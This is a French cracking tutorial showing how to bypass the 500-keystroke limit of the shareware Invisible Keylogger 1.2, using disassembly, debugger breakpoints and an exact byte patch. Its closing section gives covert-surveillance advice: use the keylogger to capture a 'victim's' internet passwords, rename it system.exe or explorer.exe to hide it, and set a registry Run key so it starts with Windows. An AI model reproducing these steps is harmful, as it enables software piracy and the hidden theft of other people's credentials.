CRACK de Invisible Keylogger 1.2 dit IK

By Nody

Intro.

 

Logiciel : (Amecisco) Invisible Keylogger 1.2 dit IK

Source : http://www.amecisco.com (800 ko)

Commentaires :

IK est un petit Keylogger sympa, assez discret. Si j’ai bien capté les descriptifs du site web de IK, il met en mémoire un module qui intercepte les touches avant même windows. Ça c’est très cool.
Problème : IK est un shareware.

Il écrit les touches dans un fichier ik.dat cryptés que dat2txt.exe permet de décrypter. Il crée en fait un buffer de 75 touches en mémoire puis il les écrit dans le fichier.

La version shareware est limité à 500 touches enregistrées. En fait, 500 touches c’est vite écrit, alors c’est parti pour une version illimitée.

 

Le Crack.

 

Installez IK et redémarrez Windows pour qu'il soit chargé en mémoire. On trouve le programme principal dans c:\program files\ik\, accompagné de dat2txt.exe qui est chargé de décrypter ik.dat (fichier contenant les touches frappés par l'utilisateur).
Faites un Ctrl-Alt-Suppr et vous voyez IK chargé comme tâches. Tapez 500 lettres (ça va vite ... :-) ) et refaites un Ctrl-Alt-Suppr, ô magie, IK a disparu. Ne vous inquiétez pas, ré-exécutez ik.exe et vous aurez le droit à 500 nouvelles touches gratuites. Bon, passons aux choses sérieuses...

Mais c'est pas tout, il y a aussi une jolie DLL dans c:\windows\system\ qui s'appelle ik.dll. On la fait passer directement chez w32dasm et zou, un jolie petit morceau d’asm.

Bon allons voir les ‘exported fonctions’ Il y en a une qui a l'air sympa, c'est l'API ‘KeyboardHook' . On va alors la charger avec le Symbol Loader de Soft-Ice. Vous êtes grand, je vous laisse faire ça.

Maintenant sous Soft-Ice, tapez un ‘bpx keyboardhook’ et sortez de Soft-Ice..

On tombe directement dedans et on y retourne aussi vite après un Ctrl-D.

 

Voilà une partie de la source de KeyboadHook :

(Note : les 4 premiers chiffres de l'offset sont sûrement différents sous Soft-Ice)

1000120D  mov dword ptr [1000C0B0], 00000000

10001217  mov byte ptr [eax+1000C010], cl

1000121D  mov ecx, dword ptr [1000C0B4]

10001223  inc eax             eax := eax + 1

10001224  inc ecx             ecx := ecx + 1

10001225  cmp ecx, 000003E8        \

[...]                                                     \  ecx < à 1000 ? Si oui on va en 1000126B

10001236  jl 1000126B                     \

[...]

* Reference To: USER32.UnhookWindowsHookEx, Ord:0248h

10001249  call dword ptr [1000B25C]

[...]

* Reference To: USER32.PostMessageA, Ord:01B1h

1000125B  call dword ptr [1000B268]

10001261  mov eax, 00000001             eax := 1

[...]

10001268  ret 000C                                 bye bye....

* Reference by a (U)nconditional or (C)onditional Jump at Address:
|:10001236 (C)
|

1000126B  cmp eax, 00000096              \ eax == 150 ?

10001270  jne 10001277                         \ oui on continue,  non on saute

10001272  call 10001300                       \ c'est pour après...(pas important)

  * Reference by a (U)nconditional or (C)onditional Jump at Addresses:
|:100011FC (C), :10001201 (C), :10001270 (C)
|

[...]

* Reference To: USER32.CallNextHookEx, Ord:0011h

1000128B  call dword ptr [1000B260]

[...]

10001293  ret 000C                                                bye bye ....

 

Sous Soft-Ice, virez le bpx 'keyboadhook' et faites un 'bpx unhookwindowshookex'. Amusez-vous à taper des lettres et à un moment, vous tombez sous Soft-Ice pour le USER32! UnhookWindowsHookEx. Tapez F12 et vous tombez où ? Et ouais dans IK à l'offset 10001249 (cf le détail de la routine au-dessus). Sortez de Soft-Ice, faites un Ctrl-Alt-Suppr et vous verrez que IK n'est plus là.

Bon, pas bien difficile à comprendre. Si vous êtes pressés, remplacez le jl en 10001236 en un jmp. Je suis gentil je donne l'hexa :

7C 33 E8 C3 00 00 00 par E9 33 E8 C3 00 00 00

C'est bien de patcher un jl en jmp, mais bon, faut pas s'arréter là.

Qu'est-ce qui provoque le saut ? C'est le cmp ecx, 3E8, ie compare ecx à 1000. Mouais mais 1000 c'est 500 * 2, c'est le_nombre_de_touches_autorisées * 2. Si vous avez tracez l'API KeyboardHook, vous avez remarquez qu'après le mov ecx, dword ptr [1000C0B4], on a ecx = eax. Mais c'est seulement ecx qui est utilisé pour la comparaison 'nombre de touches utilisées > 500?'.

En fait, eax et ecx jouent le rôle de compteur dans cette routine mais ils ne comptent pas la même chose : ecx sert UNIQUEMENT pour la protection, alors eax est vraiment utile pour le programme.
Regardez, on a ça, si nombre de touches < à 500 :

1000126B  cmp eax, 00000096       

10001270  jne 10001277                  

10001272  call 10001300

Compare eax à 0x96 ie 150 et si eax = 150 alors on fait le call 10001300. Que représente 150 ? Encore une fois, 150 = 75 * 2 = taille_du_buffer * 2,et devinez ce qu'il y a dans le call ? La routine d'écriture des caractères dans ik.dat.

Je n'ai toujours pas compris pourquoi eax = nombre_de_touches_frappées * 2, mais bon, on se passera de l'explication.....

Question : comment cracker autrement ik.dll qu'en remplaçant le jl ?

En nopant le inc ecx of course !! Mais il y a plein d'autres facçons !! Par conter, éviter de noper le inc eax, c'est plus risqué ... Mais vous pouvez mettre un cmp ecx, 540BE3FF (petit farceur va :-) ),cmp ebx, 3e8, etc .....

 

Conclu.

Rien de bien difficile, le tout est de trouver la bonne routine .....

Remarques pour l'utilisation de IK : IK est très pratique pour choper les mots de passe des connections internet (qui a dit du lycée ???) mais faites gaffe quand même, par exemple rennomer le en 'explorer.exe', 'win386.exe', 'system.exe' et évidement, ne laisser pas trainer le fichier dat2txt.exe sur le pc de votre victime, on sait jamais ......
De plus, si le pc est assez lent au démarrage, la fenêtre ik peut-etre visible pendant 1 ou 2 secondes dans la barre des tâches.

 

Après l'avoir renommé, crééz un fichier ik.reg et exécutez le et il contiendra ça :

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

"ik"="C:\\PROGRA~1\\IK\\IK.EXE"

et remplacer ik.exe par system.exe, etc ....

 

nodless@usa.net